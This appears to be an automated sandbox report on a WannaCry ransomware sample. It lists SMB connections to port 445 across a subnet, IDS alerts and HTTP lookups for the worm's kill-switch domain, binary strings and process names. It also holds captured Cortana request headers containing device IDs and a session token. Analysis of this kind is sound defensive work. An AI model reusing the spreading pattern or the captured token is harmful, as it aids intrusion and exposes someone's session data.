Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior

Connects to many different private IPs via SMB (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior

Source: IU28r0EZFA.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 23.211.4.90:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.6:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.153.243:443 -> 192.168.2.6:50342 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.152.133:443 -> 192.168.2.6:50405 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.156.32:443 -> 192.168.2.6:50576 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.156.32:443 -> 192.168.2.6:50962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.156.32:443 -> 192.168.2.6:51525 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.153.243:443 -> 192.168.2.6:52541 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.156.32:443 -> 192.168.2.6:54184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.90.153.243:443 -> 192.168.2.6:58260 version: TLS 1.2

Source:	Binary string: d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb source: mssecsvr.exe, 00000005.00000000.251257193.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvr.exe, 00000007.00000000.257778750.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvr.exe, 00000008.00000000.258814288.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvr.exe, 00000008.00000002.779909351.0000000001E99000.00000004.00000800.00020000.00000000.sdmp, mssecsvr.exe, 00000008.00000002.781421602.00000000023C4000.00000004.00000800.00020000.00000000.sdmp, tasksche.exe, 00000009.00000003.265166477.0000000002733000.00000004.00000800.00020000.00000000.sdmp, tasksche.exe, 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmp, tasksche.exe, 00000009.00000000.262284473.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000000.264552008.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000003.266491652.000000000273B000.00000004.00000800.00020000.00000000.sdmp, tasksche.exe, 0000000A.00000002.773228857.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000003.265497985.0000000003D4E000.00000004.00000800.00020000.00000000.sdmp, IU28r0EZFA.dll, mssecsvr.exe.3.dr, tasksche.exe.5.dr
Source:	Binary string: WaaSMedicSvc.pdb source: waasmedic.20221222_180332_622.etl.17.dr

Source: C:\Windows\tasksche.exe	Code function: 9_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		9_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		9_2_0040DE5E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.6:59082 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.6:62910 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.6:63229 -> 8.8.8.8:53

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic

TCP traffic: Count: 102 IPs: 176.210.131.95,176.210.131.96,176.210.131.93,176.210.131.94,176.210.131.91,176.210.131.92,176.210.131.90,176.210.131.15,176.210.131.16,176.210.131.13,176.210.131.14,176.210.131.11,176.210.131.99,176.210.131.12,176.210.131.97,176.210.131.10,176.210.131.98,176.210.131.84,176.210.131.85,176.210.131.82,176.210.131.83,176.210.131.80,176.210.131.81,176.210.131.88,176.210.131.89,176.210.131.86,176.210.131.87,176.210.131.30,176.210.131.37,176.210.131.38,176.210.131.35,176.210.131.36,176.210.131.33,176.210.131.34,176.210.131.31,176.210.131.32,176.210.131.28,176.210.131.29,176.210.131.26,176.210.131.27,176.210.131.24,176.210.131.25,176.210.131.22,176.210.131.23,176.210.131.20,176.210.131.21,176.210.131.19,176.210.131.17,176.210.131.18,176.210.131.51,176.210.131.102,176.210.131.52,176.210.131.101,176.210.131.50,176.210.131.59,176.210.131.57,176.210.131.58,176.210.131.55,176.210.131.56,176.210.131.53,176.210.131.100,176.210.131.54,176.210.131.40,176.210.131.41,176.210.131.48,176.210.131.49,176.210.131.46,176.210.131.47,176.210.131.44,176.210.131.45,176.210.131.42,176.210.131.43,176.210.131.39,176.210.131.4,176.210.131.73,176.210.131.5,176.210.131.74,176.210.131.2,176.210.131.71,176.210.131.3,176.210.131.72,176.210.131.8,176.210.131.9,176.210.131.70,176.210.131.6,176.210.131.7,176.210.131.79,176.210.131.77,176.210.131.1,176.210.131.78,176.210.131.75,176.210.131.76,176.210.131.62,176.210.131.63,176.210.131.60,176.210.131.61,176.210.131.68,176.210.131.69,176.210.131.66,176.210.131.67,176.210.131.64,176.210.131.65

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: no-cacheHost: ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: no-cacheHost: ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comCache-Control: no-cacheCookie: __tad=1671699794.6959477
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cache-Control: no-cacheHost: ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitContent-type: text/xmlX-MSEdge-ExternalExpType: JointCoordX-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40X-PositionerType: DesktopX-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-BM-DeviceScale: 100X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-BM-DeviceDimensionsLogical: 1232x1024X-BM-DeviceDimensions: 1232x1024X-Agent-DeviceId: 0100748C09001CEAX-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAamq5M9zPR5nuHfG3veMN5/jENMWNA4fbZEHrQpT8BxSz5%2BSh5s4f1VkbpEPJ9rOEPqabrlSbr3eu%2BoZ%2BB2QzG133x3OMu2w96LpDS72zKITv4CbqIeNkcmWB/nVghgXwvmWdxixlmtp6kSunXq0UxzmSBBrhPFVEwr%2B7mBUJhX5BUVIhqC%2B/divBqd1yet423TssuRskex24LtlkR6K5yP46R4zY881kAl/bUeEXcX7f5ULouRbplsaB3Dq1106wr4WW0K9M0VClTT34J86Y3c4PD0df7CmcP8WgB8qmWS1O2hKAoBamMRHZrSlmrH7NLzQDNCD1dIERCgVe2ufG5UDZgAACKOSvVfSgvd%2BqAGDhQ99hvMd5BU4o1M9GfaTzGHI6kqy4kOCqlaLU5wwi4ftfXIfqdARi2nWjggxLkcbJrJKl/g6hsdBRJyB9Hrdvn%2BU63FMHfZPLGZuGzPc9FN2qZC26frSLvI60cKLfeUt2SU6SQu%2BhuqdeyO/ThXuNgcfzrj3WejpOiRFHFeJ%2BeGrTapCDATYQ015PS188H8jEgFi9YsBp7gjZSPEg4CaGzlxgSACxhv6xhgATPyAkNWgcdSn90JBWajvPogFLs0GL1ugBmGAglEvFBeu7kxJjhrk7Lvl1EIB2pr4TNxLX5YwNxi1faaPg6yB5CD5mhOgnCGmf9RYdN6YATZQB45gzbl55n2FdvF0JDFgmwOXUAiOnR%2BX7JIMaeE6etzOS2YrO7c8K2Vp/gyZ6s/x6w6hs6lFOJPLHxwwE6DPsskFwiEF5Ma3p%2Bp9r31XNsuQDims7OK6dWJYMo6ej2eVHZSbid%2B3skvim3vN0GOipf4OGHIJCdZeovRtAtKl0g2uPL%2B5lkr4%2BXyDrYl6yPiq8LJ6V16ftmQdSLdXGC2YgiUjjswpD8ppqZmI1gE%3D%26p%3DX-BM-CBT: 1660690402X-Device-isOptin: trueX-Device-Touch: falseX-Device-ClientSession: 27851B8F478B4558A23A9FEEA1D2C283X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderAccept: /Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: www.bing.comContent-Length: 81571Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1671732175253&AC=1&CPH=4ef661f2
Source: global traffic	HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitContent-type: text/xmlX-MSEdge-ExternalExpType: JointCoordX-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40X-PositionerType: DesktopX-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-BM-DeviceScale: 100X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-BM-DeviceDimensionsLogical: 1232x1024X-BM-DeviceDimensions: 1232x1024X-Agent-DeviceId: 0100748C09001CEAX-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAamq5M9zPR5nuHfG3veMN5/jENMWNA4fbZEHrQpT8BxSz5%2BSh5s4f1VkbpEPJ9rOEPqabrlSbr3eu%2BoZ%2BB2QzG133x3OMu2w96LpDS72zKITv4CbqIeNkcmWB/nVghgXwvmWdxixlmtp6kSunXq0UxzmSBBrhPFVEwr%2B7mBUJhX5BUVIhqC%2B/divBqd1yet423TssuRskex24LtlkR6K5yP46R4zY881kAl/bUeEXcX7f5ULouRbplsaB3Dq1106wr4WW0K9M0VClTT34J86Y3c4PD0df7CmcP8WgB8qmWS1O2hKAoBamMRHZrSlmrH7NLzQDNCD1dIERCgVe2ufG5UDZgAACKOSvVfSgvd%2BqAGDhQ99hvMd5BU4o1M9GfaTzGHI6kqy4kOCqlaLU5wwi4ftfXIfqdARi2nWjggxLkcbJrJKl/g6hsdBRJyB9Hrdvn%2BU63FMHfZPLGZuGzPc9FN2qZC26frSLvI60cKLfeUt2SU6SQu%2BhuqdeyO/ThXuNgcfzrj3WejpOiRFHFeJ%2BeGrTapCDATYQ015PS188H8jEgFi9YsBp7gjZSPEg4CaGzlxgSACxhv6xhgATPyAkNWgcdSn90JBWajvPogFLs0GL1ugBmGAglEvFBeu7kxJjhrk7Lvl1EIB2pr4TNxLX5YwNxi1faaPg6yB5CD5mhOgnCGmf9RYdN6YATZQB45gzbl55n2FdvF0JDFgmwOXUAiOnR%2BX7JIMaeE6etzOS2YrO7c8K2Vp/gyZ6s/x6w6hs6lFOJPLHxwwE6DPsskFwiEF5Ma3p%2Bp9r31XNsuQDims7OK6dWJYMo6ej2eVHZSbid%2B3skvim3vN0GOipf4OGHIJCdZeovRtAtKl0g2uPL%2B5lkr4%2BXyDrYl6yPiq8LJ6V16ftmQdSLdXGC2YgiUjjswpD8ppqZmI1gE%3D%26p%3DX-BM-CBT: 1660690402X-Device-isOptin: trueX-Device-Touch: falseX-Device-ClientSession: 27851B8F478B4558A23A9FEEA1D2C283X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderAccept: /Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: www.bing.comContent-Length: 87498Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1671732175253&AC=1&CPH=4ef661f2
Source: global traffic	HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitContent-type: text/xmlX-MSEdge-ExternalExpType: JointCoordX-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40X-PositionerType: DesktopX-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-BM-DeviceScale: 100X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-BM-DeviceDimensionsLogical: 1232x1024X-BM-DeviceDimensions: 1232x1024X-Agent-DeviceId: 0100748C09001CEAX-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAamq5M9zPR5nuHfG3veMN5/jENMWNA4fbZEHrQpT8BxSz5%2BSh5s4f1VkbpEPJ9rOEPqabrlSbr3eu%2BoZ%2BB2QzG133x3OMu2w96LpDS72zKITv4CbqIeNkcmWB/nVghgXwvmWdxixlmtp6kSunXq0UxzmSBBrhPFVEwr%2B7mBUJhX5BUVIhqC%2B/divBqd1yet423TssuRskex24LtlkR6K5yP46R4zY881kAl/bUeEXcX7f5ULouRbplsaB3Dq1106wr4WW0K9M0VClTT34J86Y3c4PD0df7CmcP8WgB8qmWS1O2hKAoBamMRHZrSlmrH7NLzQDNCD1dIERCgVe2ufG5UDZgAACKOSvVfSgvd%2BqAGDhQ99hvMd5BU4o1M9GfaTzGHI6kqy4kOCqlaLU5wwi4ftfXIfqdARi2nWjggxLkcbJrJKl/g6hsdBRJyB9Hrdvn%2BU63FMHfZPLGZuGzPc9FN2qZC26frSLvI60cKLfeUt2SU6SQu%2BhuqdeyO/ThXuNgcfzrj3WejpOiRFHFeJ%2BeGrTapCDATYQ015PS188H8jEgFi9YsBp7gjZSPEg4CaGzlxgSACxhv6xhgATPyAkNWgcdSn90JBWajvPogFLs0GL1ugBmGAglEvFBeu7kxJjhrk7Lvl1EIB2pr4TNxLX5YwNxi1faaPg6yB5CD5mhOgnCGmf9RYdN6YATZQB45gzbl55n2FdvF0JDFgmwOXUAiOnR%2BX7JIMaeE6etzOS2YrO7c8K2Vp/gyZ6s/x6w6hs6lFOJPLHxwwE6DPsskFwiEF5Ma3p%2Bp9r31XNsuQDims7OK6dWJYMo6ej2eVHZSbid%2B3skvim3vN0GOipf4OGHIJCdZeovRtAtKl0g2uPL%2B5lkr4%2BXyDrYl6yPiq8LJ6V16ftmQdSLdXGC2YgiUjjswpD8ppqZmI1gE%3D%26p%3DX-BM-CBT: 1660690402X-Device-isOptin: trueX-Device-Touch: falseX-Device-ClientSession: 27851B8F478B4558A23A9FEEA1D2C283X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderAccept: /Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: www.bing.comContent-Length: 63805Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1671732175253&AC=1&CPH=4ef661f2

Source: Joe Sandbox View	ASN Name: ROSTELECOM-ASRU ROSTELECOM-ASRU
Source: Joe Sandbox View	ASN Name: ROSTELECOM-ASRU ROSTELECOM-ASRU

Source: unknown

Network traffic detected: IP country count 21

Source: mssecsvr.exe, 00000008.00000002.779002050.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000008.00000003.260865943.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
Source: svchost.exe, 0000000D.00000002.318619371.000001EE76813000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: mssecsvr.exe.3.dr	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
Source: mssecsvr.exe, 00000008.00000002.779002050.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000008.00000002.778784735.0000000000B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
Source: mssecsvr.exe, 00000008.00000002.772611191.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ
Source: svchost.exe, 0000000B.00000002.773449514.0000020DFAC40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 0000000B.00000002.773449514.0000020DFAC40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 0000000B.00000002.773449514.0000020DFAC40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000D.00000003.318327603.000001EE76861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 0000000B.00000002.773449514.0000020DFAC40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000B.00000002.773449514.0000020DFAC40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000D.00000003.318348936.000001EE76849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
